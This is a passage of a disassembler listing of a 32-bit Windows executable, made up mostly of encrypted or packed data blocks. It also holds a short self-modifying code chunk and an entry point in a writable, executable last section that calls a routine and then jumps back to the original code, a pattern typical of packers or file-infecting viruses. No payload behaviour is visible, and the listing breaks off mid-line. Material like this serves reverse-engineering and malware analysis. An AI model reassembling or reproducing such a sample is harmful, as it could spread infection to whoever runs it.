0C2853E4h, 2CB45E36h, 26EB5F0Bh, 26A3E28Dh dd 2F2E6A31h, 924E36FFh, 66F4F9F3h, 22804DDDh, 0C95E2588h dd 5443DE6Eh, 0A13018F2h, 0B0919238h, 198D9440h, 7CE4B43Eh dd 565E06A9h, 0B8694868h, 1E7C5DE8h, 9B410489h, 561C421Dh dd 0C9499BF6h, 1A5580FAh, 82CE5B08h, 0A358026Ah, 3D11448Bh dd 1CB73024h, 0A10595C3h, 0CC234C54h, 8B531425h, 5014D526h dd 0C1819234h, 940C3E29h, 635D3988h, 64A13418h, 41EB5748h dd 2D93C68Eh, 0AE20842Eh dd 4008E061h, 18B26ABFh, 402D8470h, 74AE1DFFh, 95DD663h dd 98F03C12h, 33D1690h, 60E24B24h, 0F4FDC145h, 9DDC75D4h dd 0B7DB048Bh, 920BEB8Bh, 25F0545Bh, 4D8366A0h, 609CFFFCh dd 0E0942918h, 0D160A456h, 0A7DB563Ah, 6514253Dh, 0EE640835h db 0A4h, 83h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_40292E: ; CODE XREF: start+7j mov eax, offset loc_40293D add byte ptr [eax], 28h inc eax add dword ptr [eax], 1234567h loc_40293D: ; DATA XREF: start:loc_40292Eo nop retn 1D41h ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0FFh, 50h, 64h dd 35FFh, 89640000h, 25h, 89C03300h, 90909008h, 92A5690h dd 81A57A45h, 12A4D423h, 1624B4Bh, 0EF6AE99Ah, 0E0CC71B2h dd 0B9C2B71h, 0FA90358Ah, 0B42C7E49h, 2DE6E546h, 0A5628C8h dd 0C8B8D217h, 7430CD90h, 0A9E9A372h, 70F93D42h, 8150FF32h dd 0A60482E8h, 0CC415478h, 0F96A5524h, 0BF59C88Eh, 83028375h dd 8901E87Dh, 0ABF351A1h, 0C41DE4AAh, 0F046A94h, 22B9EF86h dd 48EE7D16h, 4D40BB03h, 0F4118AEFh, 0AE1AC8D2h, 4137C2A0h dd 3BD308FFh, 9387F9C2h, 0C8352644h, 94EEF8C2h, 8D92C253h dd 724A5234h, 0AA047560h, 0D8549EF4h, 3B488092h, 74CB017Ch dd 1518A2Ch, 0F0DD4E6Ch, 0C73BFA06h, 0B314772Ch, 928AFC05h dd 5108A588h, 0EE34790h, 41F57628h, 81398024h, 6CFFD419h dd 0BBC32EC6h, 4857D1Dh, 0E6D0C172h, 9EAC05C7h, 0A350C2E7h dd 0C91AD92h, 0CCCE3075h, 0CEA0BF88h, 5925A521h, 83BC27A3h dd 831655EBh, 0E94BFF79h, 43042A48h, 1424A2A3h, 34223D17h dd 280DE272h, 55482D3Ah, 0A206EB50h, 0C30C08FBh, 0AB604E22h dd 390DEB02h, 173C6A1Dh, 5031209Ch, 0C4D105A8h, 0A803EB3Ch dd 4EDB5345h, 25C51697h, 26562215h, 983721FEh, 25FFE1C8h dd 2B6B2370h, 744415FDh, 0F75FC30h, 1AA1B899h, 2D894A48h dd 749360A4h, 0F514B822h, 0A9E17D5h, 480C8F0Dh, 0C3DC03ACh dd 0BBE3B87Fh, 6122A43h, 7C8408F8h, 20578911h, 3323596Dh dd 0B5AA95C0h, 69DD18D4h, 0A2DD21C6h, 315F4AC4h, 505141Dh dd 855EE6F8h, 8FE83421h, 0CA16220Bh, 4188BE7Ch, 3A058488h dd 830010D5h, 8AF472C6h, 50F27645h, 95200E85h, 53379300h dd 554C8D57h, 0AB61B61h, 0C13BE806h, 2B1D1F77h, 2BBCD5C8h dd 20B8410Ch, 0D95A8B03h, 851469C4h, 85C75BDFh, 8B42AA73h dd 4FF9B8Ah, 5FD0756Ah, 0BA44AF5Bh, 0EA1AFAECh, 7B128E12h dd 56753175h, 48D6742Fh, 1E48FD24h, 0DE1F5615h, 493135A9h dd 0FC0CE937h, 0B568C585h, 4C280BD9h, 835C2C5Fh, 6673D0B8h dd 0F6118B01h, 167401C2h, 1005FB26h, 1F05948Ah, 0C0904865h dd 361CEB8Ch, 84BEB002h, 6920421Bh, 519050B9h, 9CC31DA0h dd 1423DC5h, 4E49EBBFh, 4126A116h, 0A9319F9h, 4CAB115Ah dd 1E3EC88Fh, 4A54FE20h, 6132CF1Fh, 7A0A130Ch, 4F0E772Bh dd 0A9E93C33h, 4D59E0EBh, 5EBE9784h, 0C024B8C9h, 1275D26Dh dd 13FD616Ah, 21599229h, 74ECE3FDh, 8497DEB8h, 5F21BA07h dd 0E02C532Eh, 500AF879h, 0F97E0C50h, 133A5EF5h, 90FD9CA7h dd 1C20628Bh, 0F1297270h, 0B32D889Eh, 47C8388h, 0F92277E0h dd 0DF2D8668h, 75591682h, 10579416h, 3AC414E4h, 89DE2238h dd 174B7BD2h, 77172135h, 3171410Bh, 1C1B42A9h, 34A21F0h dd 0C683BF03h, 0F0E6980Fh, 1074A556h, 7568CF6Ch, 981546AAh dd 0AA8CA36Ch, 61A4CA88h, 0DD0D8403h, 8A074688h, 0DD80A326h dd 10487864h, 0A114C1ACh, 0C8D0F19h, 88C0A80h, 0EC095BBFh dd 3E787A14h, 811C502Bh, 724B31FAh, 14AC7007h, 9FE8EB28h dd 0EBC36C95h, 2704FCDEh, 41A7E10Fh, 2BF2B110h, 5A1A9771h dd 61C2090Eh, 0FEEC157h, 7AF1CEFDh, 49C969F0h, 4B27F804h dd 8D0ACB58h, 9A44018Ch, 0FA4878A5h, 8BF00B4Dh, 7C3130Ch dd 75F8120Eh, 4F9E07Fh, 60493F6Ah, 3B0C185Fh, 34A76CFh dd 134C13D0h, 886F704h, 0B2487508h, 0F90583FAh, 0BF1C7320h dd 0D3BAC8h, 14C8DEFh, 21D7F704h, 44B07C01h, 2B7509FEh dd 3981EDBDh, 0C18324EBh, 0A11F4DE0h, 0BC86225Dh, 0C827C4B0h dd 7943064Bh, 0F4A57704h, 89ACCA7Ch, 0FCC5BF0Bh, 0F86E5D03h dd 7D8DD51Ch, 0FFC1FB03h, 0A3834F04h, 87F8403Fh, 0BE60D05Fh dd 5898E12Ah, 0A0316DECh, 0FF552B87h, 3DA22543h, 49F88289h dd 0A3CA3B5Ah, 0E50576A7h, 84B6F45Eh, 83FB6838h, 0FA3B033Fh dd 4AEF0276h, 6B740CC0h, 51F2F85Eh, 3C9DBFA3h, 4386BABEh dd 21D208EAh, 0D117154h, 0BE0A1F0Dh, 6C944465h, 88251BEh dd 4914C053h, 0C4A29BFh, 0DFEC13Ch, 83920024h, 0D690EC7Dh dd 34390924h, 0B22EF927h, 0B341F03Ch, 62A59F9h, 0B7F94F0Ch dd 859D1E61h, 1E3B0C98h, 8A1F6375h, 0F0E8074Ch, 4D0E1698h dd 0B8C1FE0Fh, 3D257319h, 8EE47D80h, 0E83CB50Eh, 0D331CF8Bh dd 1909EFEBh, 518D0E5Ch, 18FDB244h, 255329DDh, 0E04FF110h dd 26211A54h, 20A90459h, 844A4F7Fh, 380961B8h, 4555248Bh dd 1A89F01Ch, 9135C8Bh, 44A4D8ACh, 7798A1FAh, 0DF64499Ch dd 7C0D8B43h, 3D161D76h, 56E45094h, 4803190Fh, 0AC80A60Ch dd 0C03F222Eh, 0FF511453h, 339120D7h, 90A1D57h, 0A10F0850h dd 1086BC3Ah, 0DA88A483h, 21C2588Ch, 934348FEh, 2BC3C50Bh dd 1490DC79h, 55046083h, 78E512FEh, 6C69C12Fh, 70116453h dd 13B60C68h, 0CF1014B2h, 67F524A9h, 0F399B98Bh, 0E0317004h dd 0C855CC90h, 4C3C7029h, 51EC111Dh, 9614484Eh, 5B3AE421h dd 54EDA2Ch, 50DFF17h, 12053B30h, 83360523h, 0D0482E8h dd 6B893B87h, 3EB4D10h, 1BA34BCAh, 0AD35890Ah, 0E55B712Dh dd 31672D14h, 57D39D30h, 5B823C0Dh, 48131C32h, 0F0770817h dd 266BCD39h, 7D8F3549h, 0FFCEE10Eh, 42EAEED3h, 64817FEEh dd 3510EBF4h, 6C92827h, 0E8D3F633h, 1435BC1Fh, 0F54F6AA1h dd 8802098h, 0A419733Ch, 0B73DE24Bh, 0FE305823h, 0E675CF0Bh dd 14C33E83h, 33639BCCh, 1107E772h, 0DA8B7975h, 2708D8F5h dd 1105D915h, 34BCE6EBh, 734B59B1h, 87BF811h, 297A0D9Fh dd 0EDEB558Ah, 0A2261038h, 301CA80Dh, 464BEE91h, 0F8B23460h dd 2FDB8522h, 3AA11474h, 9F596335h, 1DD10B8h, 2DA94354h dd 42D27038h, 0AD340533h, 0A6361D89h, 2E94E72Ah, 4B4CC8FAh dd 8CA45C6Fh, 31B78990h, 4A44DD81h, 0D2373E89h, 24703213h dd 4DE0855h, 83FC6583h, 0BE84885h, 18DF8BD6h, 9156179Dh dd 5D387BA5h, 3DD03B6Bh, 39F0FEFEh, 74D70B09h, 6089E2E9h dd 0BBFF3381h, 51592C5Dh, 4C77304Dh, 75CEB1C2h, 6A67980Dh dd 5FCBC020h, 57CC985h, 47E1D103h, 188BF7EBh, 88F95443h dd 80BA2B0Ah, 1F7CF15Dh, 4E4EFEC1h, 7E3F8583h, 3B5EF990h dd 229C98F7h, 259B010Dh, 21456116h, 128F2B7Dh, 3855A04Ah dd 40F59DB0h, 5C23ECF4h, 0E144883Bh, 750FFE09h, 6AEB35h dd 0B21EC93h, 18B331EBh, 96A02C48h, 66B1A291h, 54B51921h dd 2D99106Fh, 0E24E86D4h, 6D26C2Ah, 3888B07Ah, 965CF87Dh dd 57B05F93h, 85915008h, 11459438h, 94F17CAAh, 69A60C86h dd 90C39746h, 44062064h, 7D2C0BFEh, 9A26C529h, 0B4F7F03Bh dd 8BCCC625h, 8DCE588Bh, 0B3B0915h, 507E90D1h, 52EBAF7Ch dd 0DC2292Fh, 0B7C54E8Dh, 0F47B090Fh, 0AEBC8AB2h, 86BE2F6Ch dd 3709EE17h, 73B6B54h, 0A890B74h, 0FC04052Bh, 7A47B356h dd 0D176F075h, 13015046h, 0A0FC4932h, 440E6373h, 203D798Dh dd 3B1A893Eh, 0C3F3931Dh, 0B1997B12h, 2507A4A5h, 25026C33h dd 428D0889h, 9B09C604h, 780D0803h, 0FF1E60A7h, 75C1173Bh dd 89600530h, 0E0739450h, 57898CEEh, 64889862h, 72C73B8Fh dd 9D8D8912h, 0A84CC128h, 68100DA2h, 0E14149C4h, 4688B069h dd 34244F31h, 60ECB381h, 10468968h, 6A2A0E74h, 200B6804h dd 76675493h, 1ADA15A9h, 0ABF00C65h, 57102C76h, 26D0D2FDh dd 4E5C7D98h, 0C8C64125h, 5EC047Eh, 844B63ABh, 57BBDCC5h dd 4A2CA358h dd 0E957E04Fh, 41C98771h, 0E2DB3392h, 0E05048C6h, 30C38943h dd 32FB6938h, 0FC5A2E82h, 83343013h, 4033A887h, 4062508h dd 244ACE61h, 86A0FB1Fh, 0E0B8E7C1h, 680C791Ch, 80881010h dd 0CAAF8C23h, 68D26A31h, 38593628h, 7030978Dh, 77FA3B32h dd 47653C7Ah, 0F38748F0h, 0FEC8841h, 0BBFBF535h, 0C70F1DFCh dd 55F09140h, 0F81EA543h, 0D48F0A9h, 0E880C704h, 5150223h dd 2D8F5789h, 76CA3B61h, 55416BC7h, 0F8050C4Fh, 6E74FD39h dd 0AD744F5Fh, 0C4A8D0Dh, 9008DA12h, 449E6406h, 91BC7586h dd 468A07E4h, 0C1C83443h, 74C0840Ch, 4E7C887Bh, 9037504h dd 67A20478h, 0D3CB8B04h, 507FB0EAh, 0C3486698h, 16B2D6ACh dd 0C1724010h, 548C6842h, 60273122h, 6776FFCEh, 19B03531h dd 2FA08068h, 10D64FD4h, 74052A62h, 27706850h, 65C8511h dd 2B44A308h, 48D91ADDh, 0C46A10Fh, 16740B50h, 3E93D0FFh dd 48A10EC0h, 52811A4h, 4A9D1253h, 120433AFh, 8C401522h dd 9E92C33Bh, 0F0E6F84Bh, 43570C13h, 53567A90h, 18D0D9DAh dd 0C6F7140Bh, 0D24A9B03h, 0D06A6210h, 256FEAD3h, 0EA7021EBh dd 7454C897h, 1407BC25h, 75852029h, 77F1B2EBh, 0E383511Fh dd 210D74CAh, 0B52F3D4Ch, 4DD21D89h, 5F5E5B09h, 622A76C3h dd 3B891274h, 508A7F84h, 0EE758512h, 666C3B23h, 56FA5E33h dd 95794695h, 0C8C9D844h, 64DB56AFh, 0EE162806h, 0DE448EC6h dd 1C1E892Ch, 75308C0Ch, 18EB74C6h, 0DCE27981h, 0E153226h dd 4C2102Eh, 54A8D233h, 0AAC33EAh, 7500A7Ch, 0F8557560h dd 4A85D5B1h, 0E2CC4AA4h, 1C448D98h, 162BAC65h, 7B236C3Dh dd 0D6FBF746h, 0DF64A583h, 0DE4918B6h, 0E3AC9208h, 280F48E5h dd 0EB20241Dh, 8D534B22h, 0B43990E7h, 2230FED0h, 6C05C759h dd 3986B0B5h, 7E14127Dh, 4ADDE310h, 590DFE44h, 49DF1FFEh dd 37B6CA1h, 1C2E1D19h, 0B362122Eh, 9249D0FDh, 7939D545h dd 0D32AB0F2h, 8A204B45h, 0E8D07AFCh, 7B09922Fh, 0C4FC7124h dd 588B6220h, 0F4E45B6Fh, 5A8A9C6Bh, 1B042515h, 0C49900EDh dd 442EDC84h, 0B913EBE8h, 4EF4DEF9h, 7236125Fh, 4B74F4D0h dd 6A5BC766h, 1D444D62h, 4DF51358h, 461BF242h, 1FAC22A6h dd 8089F08Bh, 74F73BD8h, 4517F632h, 0D19040Dh, 0F2911C7Eh dd 0D63B28B2h, 0DB1E7F2Bh, 22CA3323h, 478FB4B9h, 0C8233BB9h dd 7F85C7E5h, 0B40221E5h, 0DC503C36h, 0B4A6E0D4h, 10D31242h dd 0FDD8B357h, 0B43274DFh, 0BEE4CB56h, 9C742A68h, 75B48090h dd 0EB08C504h, 528D6606h, 95206824h, 0C094D6A1h, 0B393D2C0h dd 0B002EE71h, 9572A6A8h, 9C54866Ah, 56D28585h, 0F4FFF882h dd 3A381C32h, 8B0B5FC8h, 2FE149F1h, 5E1B9DF3h, 3F2B058Dh dd 99C28403h, 7A6674A1h, 73A90F2Fh, 0E4527D8Bh, 49F49EFh dd 0A329BBD9h, 0F1E09B3Ah, 840F4BA8h, 0B8314AC0h, 0A13C184Bh dd 2999D008h, 0F62009FCh, 0C2E09775h, 42174BA8h, 21354BA8h dd 0F9F9940h, 8409918Ch, 74447C22h, 1264896Ch, 0E0D4295Ch dd 4BA86257h, 0C0F11112h, 22CC0991h, 0E04D9DE0h, 4D402156h dd 354CF062h, 6E4C4888h, 58994DA8h, 9917819h, 0E0A64EA0h dd 0E4D40A1h, 1A4D40A1h, 0F45C32A4h, 9F980AFh, 0C1F9904h dd 1C121409h, 37482424h, 5DE051A7h, 501920ABh, 991580Dh dd 9D7C2268h, 1776E045h, 0A94825FFh, 52E97636h, 8C184406h dd 11D8250h, 12FF917Dh, 570C2A05h, 1720919h, 69746E75h dd 0CB20656Dh, 0CB6FA7CFh, 4C54F240h, 0D2534F38h, 0A0D1B0Eh dd 4E49E859h, 0B80FA547h, 4D4F4406h, 12852641h, 30365201h dd 128C3832h, 6190202Dh, 3D6C6220h, 693D6F74h, 7EA6DF72h dd 1C7A6777h, 700A3F68h, 10284838h, 6F6E8337h, 0A7C6174h dd 0EC686775h, 61337073h, 3A664863h, 77146CF1h, 4DB73969h dd 29E5FB0Eh, 0BD35CE38h, 0BC647411h, 70188435h, 76587275h dd 0F174EA69h, 0A6844B4h, 3C2463A6h, 0B41ADFF6h, 34283252h dd 5F9B609Fh, 3478CB56h, 10B22FBAh, 0E342DD07h, 31156047h dd 27E7F839h, 9EB37D70h, 21F37364h, 0F9E8E664h, 38232C4Bh dd 834A8E36h, 4664B282h, 2058AD1Ah, 0CF374724h, 0AD6C8A6Dh dd 0C068A83Ch, 2218616Ah, 306B630Ah, 2118B7F2h, 0B851B935h dd 65F68DBh, 724431A3h, 7001246Dh, 3F6782CFh, 96426DBDh dd 0BC3742FEh, 0A739E230h, 5622ED50h, 6D665642h, 895E7410h dd 0DE1A382Ch, 7550FF39h, 60917329h, 2C20614Ah, 8AC26651h dd 83676EDFh, 350C6F3Ch, 27256A3Bh, 24805639h, 0C2352E4Dh dd 2C663A0Ch, 44DEF556h, 2B4338ABh, 9D524DFBh, 62AA4CCEh dd 792839B5h, 5D0A6828h, 8845C417h, 24CA210Fh, 3AC3D550h dd 2E413720h, 293C0502h, 4DE106E6h, 0DA6B5ACCh, 0B33EF677h dd 0C39E400h, 9470909h, 614C7465h, 0D3414784h, 50DA7617h dd 7C75C341h, 1028684Ch, 0AA0D5765h, 9C077664h, 61137397h dd 0D942F367h, 75C14178h, 333A40EEh, 642E2632h, 848213Fh dd 20848FEh, 660C2049h, 9B611B2h, 6C562C29h, 2019A646h dd 542950F0h, 0D0421455h, 4A180457h, 0DE592840h, 51042988h dd 6F13810h, 29FC0358h, 663C3C51h, 12E1296Ah, 4428967Ch dd 515840ACh, 0DC12F8ECh, 0C820E839h, 20913209h, 0CCD40140h dd 0EA09E081h, 0FE12F489h, 844C0825h, 891A0910h, 243A1224h dd 9154484Ah, 447C2268h, 0AC899C8Ch, 0C422B812h, 85A2456h dd 22A891B4h, 8692449Ch, 62127489h, 40484C24h, 28223491h dd 880C1A44h, 0F08159FEh, 0CE24E012h, 0B229E24Ch, 4CD2A1C8h dd 9C89C21h, 2A6C9186h, 0CE64B8BAh, 0F248E009h, 0E2966B8h dd 36224409h, 0C145289h, 8C819A01h, 0EA8A1C93h, 73460857h dd 2803206h, 1240D09h, 13911048h, 17440922h, 12038904h dd 480C2439h, 4034910Bh, 0D9CC8A3Ch, 0F178099Ah, 69925222h dd 7702930Eh, 0A672F909h, 91866D0h, 52455355h, 44911A94h dd 638F97A4h, 687BFC41h, 4C131261h, 0C974EE52h, 48D63910h dd 63297C76h, 5F1F0C70h, 480D587Dh, 770A445Ah, 0A74A0CAh dd 0CAE3444Dh, 691E926Bh, 159E74CFh, 7024B253h, 6423291Bh dd 48772C3Ah, 0C34D6772h, 44197564h, 4E086946h, 5A12FA35h dd 0E53A8F43h, 30646854h, 7845D391h, 4C065F71h, 82178460h dd 2906C3A8h, 0F4479E9h, 2AFA7543h, 5232D108h, 6D99226Eh dd 4D4352A1h, 1085175h, 0B054200Ch, 436B2EBDh, 506C3407h dd 79299120h, 1C411483h, 73446193h, 6E4CDF44h, 0FCA67954h dd 39294B48h, 2C4CA44Eh, 0F2535750h, 0C638915Fh, 61988A49h dd 8A6EA1E9h, 0CA3E712Ch, 0F6530923h, 4950C6E3h, 4529044Eh dd 52822954h, 44436765h, 524B7833h, 443D0E79h, 564CE6ECh dd 75683AB8h, 4F4412F4h, 0A63E1996h, 0C762E861h, 0BA5374F4h dd 6DBB3FC6h, 89BA6828h, 2EA16E91h, 89072A26h, 0CE494535h dd 0B1F344CDh, 8E4F4950h, 706D630Ah, 61488A67h, 36C034C6h dd 1ACF6612h, 6F680545h, 12342275h, 0EB20F426h, 9FDF68F9h dd 826BFEEh, 1296B27Ah, 8A329442h, 509250D3h, 4966EE70h dd 0EED0286Fh, 47E96D38h, 2892220Eh, 990563Ah, 6F48737Eh dd 799DD0DCh, 4BA44F99h, 0BDA654C4h, 2913A57Eh, 5115E8BAh dd 5468F555h, 78AD0C75h, 0EC947024h, 6CD4A4A2h, 82A0DEC6h dd 0A0D6E5F3h, 14C69290h, 1A417367h, 3C9957FCh, 43656486h dd 547209A6h, 9A684D6Fh dd 98D07942h, 0A92F907Ah, 8E9A180Fh, 0EAC7A4Ch, 126A3491h dd 658B6464h, 4F481041h, 70792854h, 14484E0Fh, 2F4DDF2Ch dd 0E796F14h, 2A9072D5h, 0DA1A5627h, 0C82AB528h, 9DC6A0Bh dd 1026C74h, 0BA086977h, 0A14AFA4Dh, 0A0BCA570h, 21D185C7h dd 48A34882h, 2B411C74h, 7157C412h, 0B3225043h, 41340C42h dd 4F16301Ah, 19D14D45h, 6C41C780h, 9A810819h, 270F3272h dd 0F4A521Ch, 4D434CC1h, 0DC602604h, 5712108Dh, 5B16C08Fh dd 0B1FFCA3Dh, 48806930h, 4A5A10EBh, 660BC933h, 80017DB9h dd 0E2990ABBh, 5EB1CFAh, 9381E5E8h, 0F7989570h, 38FDC3F0h dd 70CA96Fh, 63DED912h, 3D3485E9h, 413E910Eh, 0C1A5EA1Fh dd 9AE187EDh, 0B9E7F86Ah, 0D7FC62EAh, 74AA8D03h, 0EBC8CECFh dd 6B1900A6h, 6AC097F3h, 9175ED3Fh, 5E1AC601h, 707BDC9Dh dd 12C71087h, 0BDDF2054h, 483A5A9Ah, 0AA580778h, 80EDFF50h dd 1CBD85F9h, 1E9B6FFEh, 0F912998Dh, 1A6ED863h, 9F975F3Dh dd 0C006F349h, 0C0D31E71h, 0CFCB941Ah, 6531CE66h, 9CF3D0C3h dd 37ED2691h, 98C703C9h, 632C9BE6h, 9E5E2A75h, 4B9D99C0h dd 1059AA0Eh, 89F3C1DEh, 289BCACEh, 0D363669h, 610D466Dh dd 751A9061h, 3EEED7DDh, 10C038C0h, 757B179Dh, 0A1CF3262h dd 0D900A506h, 38DF5EFFh, 148798B5h, 0FAC989DEh, 2C81B87h dd 5E086C67h, 0F4FAA5E0h, 2A996EFDh, 7AB8C9EFh, 0EFDBCB79h dd 8DCA78Bh, 3584C77Dh, 60EC311Ch, 248C46C8h, 0C0C34B02h dd 777B32h, 6776715Ah, 0FCDEF8FBh, 0EBC9ED01h, 0FDD8FAF6h dd 0EAA7B7C7h, 1EDA9913h, 68EDF80Ch, 0D81DCF12h, 0F0E1DCE3h dd 0B1F1CDF1h, 0F6D5AE29h, 7C7E0ABAh, 0E0F9F7FBh, 0EAEE3081h dd 0CFAAC6ABh, 0F9B11EBDh, 86F25466h, 0F0FB24C3h, 0F5483AF7h dd 8F7AEAB7h, 7CFAF886h, 0DBEBE951h, 8CFEF6FBh, 9CE4208Bh dd 0FF0B859Fh, 19424D53h, 0C8E51875h, 0FEE28A79h, 6207A7h dd 20435002h, 570FDDBAh, 1E4B524Fh, 477776FAh, 0C4D413Ch dd 30302E31h, 0F54EF24Ch, 0BB0B06A2h, 6593274Ah, 6B3B08E6h dd 42B8FE67h, 2E331EC1h, 51986131h, 5832484Dh, 33236CB4h dd 162EED3Eh, 0DC2054E4h, 1630DB32h, 0A47132F5h, 0C738C91h dd 10E78507h, 487D0C07h, 531104C0h, 2027150Ah, 61C2D9Bh dd 9A366980h, 1AE29D98h, 9740CAFEh, 99E00882h, 0B9435A88h dd 4CAF4A58h, 38204C70h, 77733677h, 23055EAh, 8D0E0A04h dd 24350A39h, 2E3CCDDEh, 2B4F0E10h, 8D8ACDAh, 0DA438420h dd 9F5957C8h, 6503220Bh, 32460501h, 8994724h, 6380F40h dd 0FD838672h, 15204095h, 48E0888Ah, 44E04FE0h, 198180h dd 0E4F27A6Ah, 0AF281C49h, 74253002h, 97536710h, 485CD9E2h dd 6C8D75E0h, 0E0A10454h, 0BE10A25Ch, 45B316Dh, 67326213h dd 4361089h, 78CA3738h, 49393099h, 4338156Ch, 3F512422h dd 6439C201h, 1DA26442h, 4DC0804h, 1833F710h, 78FDEC8h dd 3016050Eh, 2019F17h, 41AB27A7h, 1A20292Bh, 8C110329h dd 48DA6C15h, 0C1722D75h, 2B4A6379h, 466C9C28h, 0DC50B225h dd 0F48946Eh, 1B1CA77Dh, 0B7A62954h, 59C92666h, 50B8CA46h dd 0CC4566CCh, 86FF1F8Ah, 0D1710337h, 0B8CF8872h, 348504BBh dd 6A06000Ch, 0C391928h, 11D0B107h, 0C000A89Bh, 542ED94Fh dd 5D60F5h, 1CEB8A88h, 0E89F11C9h, 2B0A3D90h, 0D2604810h dd 0AFF40C70h, 2160C4A4h, 9A0B0CA0h, 7AA41428h, 10EE85B1h dd 620CA0C4h, 0E418E88h, 3EC0409h, 95086064h, 50914014h dd 15707C8Fh, 82BDCC0h, 1489D17Eh, 85780EBFh, 5BAB0113h dd 0E48E9A6h, 14F84810h, 21762F88h, 0E13FEFFh, 54402432h dd 908E73Bh, 84D8313h, 86B98F44h, 0DAB705EEh, 64102F25h dd 93200Ch, 0C80DAD08h, 0F02CC08h, 0B880D849h, 70014018h dd 0F842184h, 80285273h, 4B3C958Dh, 4202C880h, 6C310F84h dd 13032E2h, 7091A89Ah, 6F893457h, 0E301D014h, 0CD6B8420h dd 0B7C69646h, 123C603Ch, 2477515h, 754E1CACh, 24F268DEh dd 18649878h, 8481009h, 40F844B8h, 0E889F068h, 30353110h dd 4B4F200Bh, 0F4C48E0Ah, 3651DE08h, 4E10338Ah, 9C3111FEh dd 534C0463h, 759CEC41h, 44525625h, 0C261723Eh, 78652E02h dd 78EBD3D0h, 3820398Ch, 926A966h, 2587E825h, 6731F073h dd 103E9030h, 2E646D63h, 70746614h, 6E61871Bh, 6D79474Eh dd 0B6737582h, 0D5A89518h, 6962410Ah, 3B1C5B6Eh, 9CC37A67h dd 0FC755F69h, 7041AEBDh, 6215201Bh, 0C8E61279h, 8A19BBF1h dd 173A732Dh, 0F57B40C8h, 0F3FFAF2Dh, 3A6DC56Ch, 3180CC28h dd 302E3732h, 193405DEh, 630D1EBDh, 8E475C3Ah, 0CB2E6780h dd 0E2FCA78h, 778852DDh, 14BAE35Ch, 2570691Fh, 6EBF623h dd 66140440h, 1CEC8103h, 83E4FF07h, 9806C35h, 55175184h dd 0E885449h, 88CEEF45h, 2E158B08h, 2C189C03h, 554F5021h dd 4AE22052h, 5208095Bh, 43A891C6h, 59B22E31h, 3B722D41h dd 706DD404h, 1264EFA8h, 61568269h, 9DD1B889h, 0F9DF8A0h dd 4DC17D66h, 2D343053h, 0E8C731CDh, 646C7576h, 8761466Eh dd 4B587941h, 9E32B681h, 74354978h, 65527219h, 64188C17h dd 42AA6781h, 2F50857Dh, 0B77B1E0Ah, 6D0C4F22h, 0A7F9616Eh dd 89635A6Ch, 1E944257h, 77272273h, 0EE28B763h, 79F8746Eh dd 58338CADh, 50C41E33h, 5A4E766Ch, 0B8685CA3h, 4ED32026h dd 793AC474h, 353F26A2h, 6B105670h, 8E668A6Ah, 33236D15h dd 0D42E0277h, 0B6DE81EDh, 65282487h, 8ED99562h, 0CC8F3450h dd 295F6854h, 4BCCA0FBh, 0AFC8D6Dh, 6B53043Ah, 21D24E79h dd 20888C54h, 0C26F5266h, 0B96AB193h, 79EB529Ch, 1148AA9Dh dd 6572EEB1h, 7C6E92E3h, 39125A70h, 1E6E0824h, 63346FD9h dd 4481B67Ch, 2B647672h, 935F3B09h, 2618CED9h, 0ECE47973h dd 54FD67F0h, 530D40E5h, 5754464Fh, 27D24148h, 3D35C55Ch dd 891C675Bh, 4C25045Bh, 1B3EFF3Bh, 9FBDA92Ah, 2BEF0E98h dd 0E68F1340h, 158BB14Fh, 2F65104h, 0FD1628F2h, 8248F30Ah dd 84903D10h, 29221ABDh, 1640281h, 0E240D02Fh, 42029682h dd 3C18FD02h, 1C95B720h, 68252557h, 508322Eh, 990BC002h dd 19911D18h, 7996C804h, 3908128Dh, 8F210F8Eh, 913C90E4h dd 0F2929087h, 249E1E93h, 0A090799h, 757B8C12h, 0E4960D20h dd 93052082h, 11B49519h, 70BC2D02h, 904081FEh, 22091191h dd 0F6408364h, 14388910h, 10111191h, 122252E4h, 8913C044h dd 24181294h, 3259505Ch, 221A1134h, 1B0451FCh, 1C91C448h dd 78449C22h, 1279898Ch, 487A247Ch, 10FC916Ch, 0FF226A0Ch dd 1215C61h, 0CB4D0402h, 60E6903Fh, 21E47982h, 0DF0CB9B5h dd 46A10848h, 9F8104A5h, 4020FCE0h, 6186807Eh, 0A3C161A8h dd 886DCADAh, 31FE8142h, 0B5084C40h, 41D930A5h, 0CF88B61Ch dd 0A1E472A2h, 0E8D9E5E0h, 605A5BE1h, 46A17E85h, 905510Ah dd 675EDA39h, 6A675FC0h, 22E3284h, 0E0DED8D3h, 7E3102F9h dd 3F83A90h, 6CDDE799h, 48h dup(0) dd 0F80h dup(?) _text ends ; Section 3. (virtual address 00018000) ; Virtual size : 00020000 ( 131072.) ; Section size in file : 00011C00 ( 72704.) ; Offset to raw data for section: 00003E00 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _data segment para public 'CODE' use32 assume cs:_data ;org 418000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= public start start proc near ; FUNCTION CHUNK AT 0040292E SIZE 00000013 BYTES pusha call sub_43B76D popa jmp loc_40292E start endp ; --------------------------------------------------------------------------- dd 0EA8D3700h, 7A7A797Ah, 7A7A7E7Ah, 7A85857Ah, 7A7AC27Ah dd 7A7A7A7Ah, 7A7A3A7Ah, 8 dup(7A7A7A7Ah), 7A7AFA7Ah, 567377Ah dd 0B84309F4h, 18D1BCCAh, 0BC081AC4h, 9CCCFAE7h, 660C4C36h dd 0B39241FDh, 76FED22Fh, 30955C6Ah, 2FCDC340h, 16EF22C7h dd 0A3DC249Bh, 0FA25EDF0h, 0F26B97E3h, 0F8358EF2h, 57651B7Ah dd 7A0497EFh, 7C7B367Ah, 4CBE57Ah, 7A7A7A3Ah, 7A7A7A7Ah dd 747A9A7Ah, 787B715Bh, 7AA27A4Dh, 7A467A7Ah, 6AF87A7Ah dd 7A6BEC7Ah, 7A6A7A7Ah, 7A8A7A7Ah, 7A7A7A7Ah, 7A6A7A6Ah dd 7A787A7Ah, 7A7A7B7Ah, 7A7A7A7Ah, 7A7A7E7Ah, 7A7A7A7Ah dd 6B9A7A7Ah, 7A7E7A7Ah, 7A7A7A7Ah, 7A7A787Ah, 6A7A7A7Ah dd 7A6A7A7Ah, 6A7A7A7Ah, 7A6A7A7Ah, 7A7A7A7Ah, 7A7A6A7Ah dd 6BAA7A7Ah, 